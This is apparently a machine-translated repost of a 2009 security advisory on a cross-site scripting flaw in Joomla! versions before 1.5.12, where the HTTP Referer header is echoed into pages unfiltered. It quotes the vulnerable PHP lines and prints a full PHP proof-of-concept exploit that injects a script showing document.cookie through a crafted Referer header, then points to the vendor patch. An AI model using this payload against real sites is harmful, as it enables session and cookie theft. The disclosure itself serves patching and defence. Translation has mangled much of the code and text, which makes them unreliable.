Joomla! Cross-site scripting vulnerability in HTTP headers

Affected Versions:
Open Source Matters Joomla! <1.5.12

Program introduction:
Joomla! Is an Open Source Content Management System (CMS ).

Vulnerability Analysis:

Joomla! The HTTP_REFERER variable submitted by the user in the HTTP request is not properly filtered. Remote attackers can inject JavaScript or DHTML code by submitting malicious requests and execute the code in the user's browser session. The following is a vulnerability code segment:

Components/com_content/views/article/tmpl/form. php file row 225

221 <input type = "hidden" name = "option" value = "com_content"/>
222 <input type = "hidden" name = "id" value = "<? Php echo
$ This-> article-> id;?> "/>
223 <input type = "hidden" name = "version" value = "<? Php echo
$ This-> article-> version;?> "/>
224 <input type = "hidden" name = "created_by" value = "<? Php echo
$ This-> article-> created_by;?> "/>
225 <input type = "hidden" name = "referer" value = "<? Php echo
@ $ _ SERVER [HTTP_REFERER];?> "/>
226 <? Php echo JHTML: _ (form. token);?>
227 <input type = "hidden" name = "task" value = ""/>
228 </form>

Other parts of the Code may also be affected:

Lines 86 of the components/com_user/controller. php file

$ Return = @ $ _ SERVER [HTTP_REFERER];

The plugins/system/legacy/html. php file contains 246 lines.

Echo <a href = ". $ _ SERVER [HTTP_REFERER]. "> <span class =" small ">. JText: _ (BACK ). </span> </a>;

Templates/beez/html/com_content/article/form. php file row 186

<Input type = "hidden" name = "referer" value = "<? Php echo @ $ _ SERVER [HTTP_REFERER];?> "/>

Vulnerability exploitation:

 
<? Php

/* PoC: XSS Joomla 1.5.11
Juan Galiana Lara
Internet Security Auditors
Jun 2009
*/

/* Config */
$ Site = localhost;
$ Path =/joomla-1.5.11;
$ Cookname = d85558a8cf943369aaa374896bfd3d99;
$ Cookvalue = 4ab56fdd83bcad86289425aead602699;

Class cURL {
Var $ headers;
Var $ user_agent;
Var $ compression;
Var $ cookie_file;
Var $ proxy;
/* Edevil script */
Var $ xss = alert ("PWN:" + document. cookie );;


Function
Curl(‑cookies‑true,‑cookie‑cookies.txt, $ compression = gzip, $ proxy = ){
$ This-> headers [] = Accept:
Text/html, application/xhtml + xml, application/xml; q = 0.9, */*; q = 0.8;
$ This-> headers [] = Connection: Keep-Alive;
$ This-> headers [] = Content-type:
Application/x-www-form-urlencoded; charset = UTF-8;
$ This-> headers [] = Referer: "> <script>. $ this-> xss
. </Script> <span a = ";
$ This-> user_agent = Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1;. net clr 1.0.3705;. net clr 1.1.4322; Media Center PC 4.0 );
$ This-> compression = $ compression;
$ This-> proxy = $ proxy;
$ This-> cookies = $ cookies;
If ($ this-> cookies = TRUE) $ this-> cookie ($ cookie );
}

Function cookie ($ cookie_file ){
If (file_exists ($ cookie_file )){
$ This-> cookie_file = $ cookie_file;
} Else {
Fopen ($ cookie_file, w) or $ this-> error (The cookie file cocould
Not be opened. Check permissions );
$ This-> cookie_file = $ cookie_file;
Fclose ($ this-> cookie_file );
}
}

Function get ($ url ){
$ Process = curl_init ($ url );
Curl_setopt ($ process, CURLOPT_HTTPHEADER, $ this-> headers );
Curl_setopt ($ process, CURLOPT_HEADER, 0 );
Curl_setopt ($ process, CURLOPT_USERAGENT, $ this-> user_agent );
If ($ this-> cookies = TRUE) curl_setopt ($ process,
CURLOPT_COOKIEFILE, $ this-> cookie_file );
If ($ this-> cookies = TRUE) curl_setopt ($ process,
CURLOPT_COOKIEJAR, $ this-> cookie_file );
Curl_setopt ($ process, CURLOPT_ENCODING, $ this-> compression );
Curl_setopt ($ process, CURLOPT_TIMEOUT, 30 );
If ($ this-> proxy) curl_setopt ($ cUrl, CURLOPT_PROXY,
Proxy_ip: proxy_port );
Curl_setopt ($ process, CURLOPT_RETURNTRANSFER, 1 );
Curl_setopt ($ process, CURLOPT_FOLLOWLOCATION, 1 );
$ Return = curl_exec ($ process );
Curl_close ($ process );
Return $ return;
}

Function error ($ error ){
Echo $ error;
Die;
}
}

/* Set cookie */
$ F = fopen ("cookies.txt", "w ");
Fwrite ($ f, "localhostFALSE/FALSE0 $ cookname $ cookvalue ");
Fclose ($ f );

/* Do request */
$ Cc = new cURL ();
$ C = $ cc-> get (http: //. $ site. $ path.
/Index. php? Option = com_content & view = article & layout = form );

/* Lets execute some javascript ..}:-)*/
Echo $ c;
?>

 

Solution:
Vendor patch:

Open Source Matters
-------------------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.joomla.org/announceme... -1512-released.html

Information Source:
<* Source: Juan Galiana Lara (jgaliana@isecauditors.com)

Link: http://marc.info /? L = bugtraq & m = 124655389716111 & w = 2
*>